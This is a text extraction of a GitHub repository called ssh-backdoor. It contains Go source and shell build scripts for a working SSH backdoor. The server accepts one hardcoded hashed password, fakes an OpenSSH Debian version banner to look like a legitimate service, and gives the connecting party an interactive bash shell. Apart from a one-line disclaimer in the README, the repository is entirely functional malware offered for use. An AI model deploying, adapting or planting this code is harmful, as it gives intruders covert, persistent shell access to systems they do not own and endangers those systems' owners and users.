Repository: NinjaJc01/ssh-backdoor
Branch: master
Commit: 39556dba26a5
Files: 5
Total size: 3.2 KB
Directory structure:
gitextract_s_yk6qtn/
├── README.md
├── backdoor
├── build.sh
├── main.go
└── setup.sh
================================================
FILE CONTENTS
================================================
================================================
FILE: README.md
================================================
# ssh-backdoor
This is to be used for legal purposes ONLY.
Only use this on systems that you are allowed to.
================================================
FILE: build.sh
================================================
go build -o server main.go
echo "Sudo for cap net bind"
sudo setcap 'cap_net_bind_service=+ep' ./server
================================================
FILE: main.go
================================================
package main
import (
"crypto/sha512"
"fmt"
"io"
"io/ioutil"
"log"
"net"
"os/exec"
"github.com/creack/pty"
"github.com/gliderlabs/ssh"
"github.com/integrii/flaggy"
gossh "golang.org/x/crypto/ssh"
"golang.org/x/crypto/ssh/terminal"
)
var hash string = "bdd04d9bb7621687f5df9001f5098eb22bf19eac4c2c30b6f23efed4d24807277d0f8bfccb9e77659103d78c56e66d2d7d8391dfc885d0e9b68acd01fc2170e3"
func main() {
var (
lport uint = 2222
lhost net.IP = net.ParseIP("0.0.0.0")
keyPath string = "id_rsa"
fingerprint string = "OpenSSH_8.2p1 Debian-4"
)
flaggy.UInt(&lport, "p", "port", "Local port to listen for SSH on")
flaggy.IP(&lhost, "i", "interface", "IP address for the interface to listen on")
flaggy.String(&keyPath, "k", "key", "Path to private key for SSH server")
flaggy.String(&fingerprint, "f", "fingerprint", "SSH Fingerprint, excluding the SSH-2.0- prefix")
flaggy.String(&hash, "a", "hash", "Hash for backdoor")
flaggy.Parse()
log.SetPrefix("SSH - ")
privKeyBytes, err := ioutil.ReadFile(keyPath)
if err != nil {
log.Panicln("Error reading privkey:\t", err.Error())
}
privateKey, err := gossh.ParsePrivateKey(privKeyBytes)
if err != nil {
log.Panicln("Error parsing privkey:\t", err.Error())
}
server := &ssh.Server{
Addr: fmt.Sprintf("%s:%v", lhost.String(), lport),
Handler: sshterminal,
Version: fingerprint,
PasswordHandler: passwordHandler,
}
server.AddHostKey(privateKey)
log.Println("Started SSH backdoor on", server.Addr)
log.Fatal(server.ListenAndServe())
}
func verifyPass(hash, salt, password string) bool {
resultHash := hashPassword(password, salt)
return resultHash == hash
}
func hashPassword(password string, salt string) string {
hash := sha512.Sum512([]byte(password + salt))
return fmt.Sprintf("%x", hash)
}
func sshHandler(s ssh.Session) {
command := s.RawCommand()
if command != "" {
s.Write(runCommand(command))
return
}
term := terminal.NewTerminal(s, "$ ")
for {
command, _ = term.ReadLine()
if command == "exit" {
return
}
term.Write(runCommand(command))
}
}
func sshterminal(s ssh.Session) {
cmd := exec.Command("/bin/bash", "-i")
ptyReq, _, isPty := s.Pty()
if isPty {
cmd.Env = append(cmd.Env, fmt.Sprintf("TERM=%s", ptyReq.Term))
f, err := pty.Start(cmd)
if err != nil {
panic(err)
}
go func() {
io.Copy(f, s) // stdin
}()
io.Copy(s, f) // stdout
cmd.Wait()
} else {
io.WriteString(s, "No PTY requested.\n")
s.Exit(1)
}
}
func runCommand(cmd string) []byte {
result := exec.Command("/bin/bash", "-c", cmd)
response, _ := result.CombinedOutput()
return response
}
func passwordHandler(_ ssh.Context, password string) bool {
return verifyPass(hash, "1c362db832f3f864c8c2fe05f2002a05", password)
}
================================================
FILE: setup.sh
================================================
go get -u "github.com/gliderlabs/ssh"
go get -u "golang.org/x/crypto/ssh"
go get -u "golang.org/x/crypto/ssh/terminal"
go get -u "github.com/integrii/flaggy"
go get -u "github.com/creack/pty"
ssh-keygen -f ./id_rsa
go build -o server main.go
gitextract_s_yk6qtn/ ├── README.md ├── backdoor ├── build.sh ├── main.go └── setup.sh
SYMBOL INDEX (7 symbols across 1 files)
FILE: main.go
function main (line 21) | func main() {
function verifyPass (line 55) | func verifyPass(hash, salt, password string) bool {
function hashPassword (line 60) | func hashPassword(password string, salt string) string {
function sshHandler (line 65) | func sshHandler(s ssh.Session) {
function sshterminal (line 81) | func sshterminal(s ssh.Session) {
function runCommand (line 101) | func runCommand(cmd string) []byte {
function passwordHandler (line 107) | func passwordHandler(_ ssh.Context, password string) bool {
Condensed preview — 5 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (4K chars).
[
{
"path": "README.md",
"chars": 109,
"preview": "# ssh-backdoor\nThis is to be used for legal purposes ONLY.\nOnly use this on systems that you are allowed to.\n"
},
{
"path": "build.sh",
"chars": 104,
"preview": "go build -o server main.go\necho \"Sudo for cap net bind\"\nsudo setcap 'cap_net_bind_service=+ep' ./server\n"
},
{
"path": "main.go",
"chars": 2788,
"preview": "package main\n\nimport (\n\t\"crypto/sha512\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net\"\n\t\"os/exec\"\n\n\t\"github.com/creack/pty\"\n\t\"g"
},
{
"path": "setup.sh",
"chars": 241,
"preview": "go get -u \"github.com/gliderlabs/ssh\"\ngo get -u \"golang.org/x/crypto/ssh\"\ngo get -u \"golang.org/x/crypto/ssh/terminal\"\ng"
}
]
// ... and 1 more files (download for full content)
About this extraction
This page contains the full source code of the NinjaJc01/ssh-backdoor GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 5 files (3.2 KB), approximately 1.1k tokens, and a symbol index with 7 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.